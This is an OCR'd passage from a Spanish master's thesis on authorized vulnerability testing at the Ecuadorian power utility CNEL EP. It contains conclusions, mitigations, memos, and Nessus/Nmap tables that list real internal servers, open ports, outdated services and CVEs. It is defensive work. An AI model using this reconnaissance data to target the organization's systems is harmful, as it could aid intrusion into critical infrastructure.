Portal DHCP RADIUS WSUS ANTIVIRUS

Server
UNIDAD DE NEGOCIO LOS RIOS AGENCIAS Y SUBESTACIONES
CNEL UN LOS RIOS

Figura 6.1: Esquema de red corporativo CNEL EP



CONCLUSIONES Y RECOMENDACIONES

CONCLUSIONES

1. Se realizo el test de vulnerabilidad a los siete activos de la UN Los Rios
considerados como principales, encontrando una wvulnerabilidad critica,
37 medianas y cinco bajas.

2. Todas las wvulnerabilidades criticas, medianas y bajas fueron mitigadas
exceptuando una mediana, programada su mitigacion el proximo afio a
través de un programa de mantenimiento realizada por la contratista
que administra el servidor financiero.

3. Las wulnerabilidades criticas fueron mitigadas haciendo cambios en el

registro del sistema y parchando el sistema operativo Windows.
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Las otras wulnerabilidades se mitigaron, bloqueando los puertos en el
firewall, permitiendo solo los puertos indispensables para los servicios
gue requiere cada activo.

Para mejorar la disponibilidad de la informacién, se evita ataques de
denegacién de servicios, activando caracteristicas de proteccion de
seguridad en el firewall como: Attack Defense, blacklist, whitelist, IP-
MAC Binding

Para mejorar la disponibilidad de la informacion se activo caracteristicas
en el switch, que realiza la supresion de trafico y QoS limitando la
velocidad de salida por VLAN'’s

Para mejorar la confidencialidad de la informaciébn se activaron
caracteristicas en el switch como puerto seguro por MAC y ARP, que
evitar ataques de hombre en medio

El control de acceso a la red NAC, define el protocolo 802.1x con
servidor de autenticaciéon en la red, implementado con un servidor
FreeRADIUS.

Se propone implementar NAC como un enfoque de seguridad integral,
instalando servidores locales para garantizar la disponibilidad del
servicio y el DA en el data center corporativo.

El ataque de ingenieria social enfocado para conseguir la clave de la

red WLAN corporativo, queda mitigada por la autenticacién en la red
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con FreeRADIUS, donde todos los terminales estan registrados sus
direcciones MAC

11. Se propone como politica de control de acceso que la autenticacién en
los sistemas de autenticacion esté basado en algo conocido + algo
poseido. El algo conocido es la clave definida en el DA y el algo
poseido es el token con certificados digitales.

12. La matriz de riesgo calculada para los siete activos considera
principalmente la disponibilidad, y en menor medida la integridad y
confidencialidad de la informacion. Con los controles aplicados, el
riesgo inherente se reduce hasta un riesgo residual, y s6lo dos activos
se wvuelve aplicar controles adicionales y planes a futuro para bajar el
riesgo residual deseado.

13. El impacto administrativo por la aplicacion de las nuevas politicas tiene

un costo econémico valorado en $1,063,000

RECOMENDACIONES

1. La mayoria de las implementaciones de seguridad realizadas en los
switches y firewalls, no se las realizaba en las UN por falta de
conocimiento, por lo que es necesario realizar un plan de capacitacion
para explotar al maximo las funcionalidades de la infraestructura

adquirida.
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Realizar este plan de pruebas en todas las UN por lo menos una vez al
afo, para mitigar las vulnerabilidades y cumplir con lo dispuesto por el

acuerdo ministerial 166 “Esquema Gubernamental de Seguridad de la

Informacion EGSI".
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Resultado de las vulnerabilidades detectados con NESSUS

80 Microsoft IIS httpd 7.5 CVSS2 Mediano
135 Microsoft Windows RPF n/a
139 Microsoft Windows 98 netbios-ssn n/a
445 (primario dominio: CORCNEL) n/a
1433 Microsoft SQL Server 2012 CVE-2013-2566, CVE-2015-2808 Mediano Si SSL Certificados digitales
CVE-2004-2761, CVE-2014-3566
1801 msm n/a
2103 Microsoft Windows RPC zephyr-clt n/a
1 | WIN-Vo0062A5A1A -Serviqor Windows 2105 Microsoft Windows RPC eklogin n/a
Financiero 2008 Server 2107 Microsoft Windows RPC msmg-mgmt n/a
2383 ms-olap4 n/a
3389 Microsoft Terminal Service CVE-2005-1794 Mediano Si Escr'|t.or|o Remoto, tlene un
certificado por defecto
8080 Microsoft IIS httpd 7.5 n/a
49152 Microsoft Windows RPC n/a
49153 Microsoft Windows RPC n/a
49154 Microsoft Windows RPC n/a
49155 Microsoft Windows RPC n/a
2 n/a Servidor RRHH | Linux2.6.3 22 OpensSH 5.3 (protocol 2.0) n/a
80 Apache httpd 2.2.15 n/a
53 Microsoft DNS 6.1.7601 n/a
58 Windows 2003 Kerberos n/a
135 Microsoft Windows RPF n/a
139 Microsoft Windows 98 netbios-ssn n/a
389 Idap n/a
445 (primario dominio: CORCNEL) n/a
464 tcpwrapped n/a
Servidor Windows 593 Microsoft Windows RPC over HTTP 1.0 n/a
3| MLGSRV_CDO02 DirecForio 3008 Server 636 tcpwrapped n/a
Activo 3268 Idap n/a
3269 tcpwrapped n/a
3389 Microsoft Terminal Service CVE-2005-1794 Mediano Si
CVE-2013-2566, CVE-2015-2808
49154 Microsoft Windows RPC n/a
49155 Microsoft Windows RPC n/a
49157 Microsoft Windows RPC over HTTP 1.0 n/a
49159 Microsoft Windows RPC n/a
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Resultado de las vulnerabilidades detectados con NESSUS

21 vsftpd 2.0.8 or later
VRP Version 23 telnet Mediano Telnet envia texto plano
FW-LRS1 Firewall 530 80 HTTP Server 1.0
1666 ssl/netview-aix-6? Mediano Certificado SSL no autenticado
1888 sun_answerbook? Web Application vulnerable
i durdway 23 Mediano Telnet envia texto plano
SW-CORE LRS Switch de CORE | V200R001CO
Abcann 80 Huawei S5700-series switch httpd
21 IBM OS/400 FTPd n/a
23 1BM 0S/400 telnetd n/a
25 i5/0S V5R4MO0 or 0S/400 smtdp n/a
389 Idap n/a
427 Isvrloc n/a
515 printer n/a
992 tcpwrapped n/a
2001 Apache httpd n/a
2002 Lotus Notes Expeditor httpd 6.1 n/a
Servidor 2004 Lotus Expeditor Web Container 6.1 n/a
CNELLRS Comercial |'BMI5/05V6 CVE-2004-2761, CVE-2004-2761
2005 ssl/deslogin? CVE-2013-2566, CVE-2015-2808 Mediano Sl Certificados digitales
CVE-2015-4000, CVE-2015-0204
CVE-2015-0204
2006 Lotus Notes Expeditor httpd 6.1 n/a
2008 Lotus Notes Expeditor httpd 6.1 n/a
3000 IBM Service Tool Server AS-STS n/a
4111 Apache Tomcat/Coyote JSP engine 1.1 n/a
5544 unknown n/a
5555 freeciv n/a
5989 Web-Based Enterprise Management CIM n/a
23 Microsoft Windows XP telnetd n/a
135 Microsoft Windows RPC n/a
137 Microsoft Windows NetBios
139 Microsoft Windows 98 netbios-ssn n/a
Sistema 211 914c-g n/a
PREPAGO comercial Windows XP CVE-1999-0519, CVE-1999-0520 Alto Sessiones nulas
prepago 445 Microsoft Windwos XP microsoft-ds CVE-1999-0519, CVE-1999-0520 Mediano
CVE-2002-1117
3389 Microsoft Terminal Service CVE-1999-0511 Alto Escritorio remoto subceptible ataque
CVE-2005-1794 Mediano Si Main in the Medium
5800 RealVNC E4 n/a
5900 Real VNC Enterprise (protocol 4.1) n/a
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Zimbra: jose.pacheco@cnel.gob.ec

Informe técnico de las pruebas de vulnerabilidad aplicado a 3 servidores

De : Jose L. Pacheco Delgado mié, 04 de nov de 2015 17:45
<jose.pacheco@cnel.gob.ec> 1 ficheros adjuntos
Asunto : Informe técnico de las pruebas de
vulnerabilidad aplicado a 3 servidores

Para : Oscar A@Q@azco <oscar.anazco@cnel.gob.ec>

Estimado Oscar

Adjunto los archivos generados de las pruebas de vulnerabilidad aplicado a los
servidores: Financiero, Nomina y Directorio Activo

Saludos

Ing. Jose Luis Pacheco Delgado

JEFE DE TECNOLOGIA (E)

CNELLRS | , i

EMPRESA ELECTRICA PUBLICA ESTRATEGICA CNEL EP

Direccién: 9 de Noviembre y General Barona, edif. Principal 5to. piso
Teléfono: +593 5 2730089 ext. 808

Edificle Principal / Babahoyo - Ecuador

www,cnel,gob.ec
L+ .CNEL

Siguenocs en redes sociales:

.».facebook.com/cr Lstwitter.com/CNEL_| .».youtube/cnel:

- pentesting.rar
~ 360 KB

htips:/172.23.8.17Miprintmessaga?ld=38306&z=Amer| ca/Bogotasxim=1
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www.cnel.gob.ec

LOS RIOS

Documento Nro, CNEL — LRS -CCM - 20- 17
Babahoyo, 4 noviembre 2015

PARA : Sr. Ing. Milton Esteban Serrano Blacio
GERENTE DE SEGURIDAD DE LA INFORMACION

ASUNTO : Informe técnico de escaneo de vulnerabilidades realizadas a los servidores
Financiero, Némina y Directorio Activo utilizados en CNEL EP

Las pruebas de vulnerabilidad fueron realizaron el 4 de noviembre 2015, a tres servidores de CNEL
EP, supervisado por un técnico delegado por la Gerencia de Seguridad de la Informacidn, basado
en las fases del pentesting o hacking ético:

e  Reconocimiento o footprinting.

e  Exploracién o escaneo y numeracion
e  Obtener acceso

e  Mantener el accesoy

e  Borrar huellas

Reconocimiento

Esta fase se ha obviado debido a la experiencia que tengo laborando en la Gerencia de Tecnologias
de la Informacién, y se ha seleccionado a los tres servidores debido a su relevancia, por ser
servicios utilizados en todas las UN y la explotacién de una vulnerabilidad existente, causaria un
impacto directo en la gestidn administrativa de CNEL EP.

Exploracién o escaneo

Para esta fase utilizamos varias herramientas:

e NMAP para averiguar los puertos abiertos, las aplicaciones asociadas a esos puertos y el
sistema operativo.

e NESSUS verifica las vulnerabilidades presentadas en los puertos abiertos detectados con NMAP

e NIKTO es un escaner de aplicativos web que detecta archivos peligrosos, software
desactualizado, entre otros.

Obtener acceso

No aplica, debido que es un ambiente de prueba, solo se identifican el test de vulnerabilidad
encontradas, calificadas como informativas, bajas, medias, altas y criticas. La fase de explotacién
no serd aplicada, salvo el caso que lo exprese por escrito la GTl o GSI.
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CORPORACION MACICNA

www.cnel.gob.ec

LOS RIOS

Tabla: Resumen de las vulnerabilidades encontradas en 3 servidores

Sistema Critica | Alta | Media | Baja Informativa
Financiero 0 0 12 2 39
Recursos Humanos 0 0 2 2 12
Directorio Activo 0 0 7 1 35

Conclusiones

¢ No se detectaron riesgos altos: Estas vulnerabilidades criticas pueden ser explotadas
perjudicando el funcionamiento normal de las actividades de la empresa, pudiendo tomar
el control total de los sistemas y su informacién. Tienen un nivel de criticidad alta.

¢ 21 riesgos medianos. Son vulnerabilidades que requieren atencidn pero no suponen un
riesgo inminente para los sistemas; sin embargo existe el riesgo que puedan ser
explotadas. Su criticidad es media.

¢ 5 riesgos bajos: Son vulnerabilidades moderadas, que podrian brindar informacién para su
posterior ataque. Su criticidad es baja.

¢ 86 vulnerabilidades Informativas con las cuales la herramienta me informa de posibles
riesgos para los sistemas y que se pueden corregir con ciertas configuraciones de los
sistemas.

Recomendaciones

Se recomienda realizar el test de vulnerabilidades con un periodo no mayor a seis meses, como
buenas practicas del “ESQUEMA GUBERNAMENTAL DE SEGURIDAD DE LA INFORMACION EGSI”
registrado en el acuerdo ministerial Nro. 166.

En base al punto anterior, las vulnerabilidades con riesgo mediano se las puede mitigar con
acciones de bloqueo en firewall a todas las UN y permitiendo el acceso a esos puertos sélo al
persanal técnico autorizado.

Se adjunta cuadro de los puertos y vulnerabilidad encontradas por servidores, mas un detalle de
cada una de las vulnerabilidades.

Atentamente
Ing. José Luis Pacheco Ing. Oscar Afiazco
JEFE DE TECNOLOGIA - ENCARGADO TECNICO DE SISTEMAS

CNEL UN LOS RIOS GERENCIA SEGURIDAD INFORMACION



CnELEP www.cnel.gob.ec
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* Documente generade por Quipux

Memorando Nro. CNEL-CORP-TIC-2015-0134-M

Guayaquil, 21 de agosto de 2015

PARA: Sr. Ing. José Luis Pacheco Delgado
Administrador de Base de Datos - ESM

ASUNTO: Autorizacion para desarrollar tema de tesis "DESARROLLO DE
PRUEBAS DE VULNERARBILIDAD A LA RED DE DATOS DE UNA
EMPRESA PUBLICA DE DISTRIBUCION ELECTRICA CNEL EP.

De mi consideracion;

La Gerencia de Tecnologia de CNEL EP autoriza al estudiante de la ESPOL -
MSIA.,Jos€ Luis Pacheco Delgado a desarrollar el tema de tesis "DESARROLLO DE
PRUEBAS DE VULNERABILIDAD A LA RED DE DATOS DE UNA EMPRESA
PUBLICA DE DISTRIBUCION ELECTRICA CNEL EP"

Con sentimientos de distinguida consideracion.

Atentamente,

Ing. Luis Antonio Gomez Schwass
GERENTE DE TECNOLOGIA DE LA INFORMACION

€asr
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